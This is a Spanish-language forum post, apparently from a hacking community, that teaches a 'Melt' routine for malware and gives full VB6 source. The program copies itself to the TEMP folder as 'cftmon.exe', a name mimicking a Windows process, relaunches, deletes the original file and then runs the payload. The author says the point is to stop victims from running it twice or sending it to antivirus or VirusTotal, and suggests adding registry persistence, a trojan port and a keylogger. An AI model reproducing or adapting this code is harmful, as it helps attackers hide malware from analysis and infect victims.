Definición
Se llama "Melt" cuando un usuario ejecuta un archivo y este desaparece (se auto-elimina) después de ejecutarse, esta función es necesaria para evitar que nuestra víctima ejecute 2 veces nuestro malware o evitar que la victima lo envíe a un Antivirus o a virustotal después de ejecutarlo, su estructura es...
1) Ejecuto el archivo (A)
2) El archivo (A) se copia en otro lugar (B)
3) El archivo (A) ejecuta el archivo (B)
4) El archivo (B) borra el archivo (A)
5) El archivo (B) sigue ejecutando el resto de malware...
Como he dicho, esto es ideal para evitar que existan 2 procesos iguales abiertos en el sistema (para evitar que nuestro keylogger sea ejecutado 2 veces, o nuestro troyano intente escuchar 2 veces por el mismo puerto, etc). Así también evitas que la víctima envíe el archivo a un análisis después de ejecutarlo xD
Aquí el código:
Código
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long Sub Main() 'Obtenemos el nombre de nuestro ejecutable MyName = App.EXEName 'Comprobamos si nos llamamos CTFMON If LCase(App.EXEName) = "cftmon" Then Call Execute Else Call MeltFile End If End Sub Function Execute() 'Función que se encarga de borrar el archivo original a partir 'de su ruta. Al terminar ejecuta el PayLoad On Error Resume Next If Not IsEmpty(Command$) Then 'Verificamos si tenemos algo en los argumentos While Dir(Command$) <> "" 'Comprobamos si existe el archivo que tenemos en los argumentos Kill Command$ ' Si existe... lo borramos DoEvents ' Esperamos un poco Wend 'Bucle End If Call PayLoad 'Ejecutamos el resto del Malware End Function Function MeltFile() 'Función que copia el propio Malware en la carpeta TEMP del sistema 'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como 'argumento su propia ruta. Dim MySelf As String MySelf = String$(255, Chr$(0)) GetModuleFileName 0, MySelf, Len(MySelf) 'Devuele la ruta correcta de tu aplicación FileCopy MySelf, Environ("TMP") & "\cftmon.exe" 'Nos copiamos en "TEMP\cftmon.exe" DoEvents 'Esperamos... Shell Environ("tmp") & "\cftmon.exe " & MySelf 'Ejecutamos "TMP\cftmon.exe" + Ruta de tu aplicación End 'Finalizamos (importante! xD) End Function Function PayLoad() 'Aqui incluimos el resto de código de tu Malware... 'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la 'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano 'activar el keylogger o lo que quieras programar :P MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6" End End Function
Si quieres evitar que tu aplicación sea ejecutada 2 veces también puedes crearte un MuteX, pero la función "Melt" hace lo mismo que el MuteX y encima borra el archivo original (para evitar análisis de AV's).
Saludos!! (Espero comentarios!!)
Codigo fuente adjunto al post (solo usuarios registrados)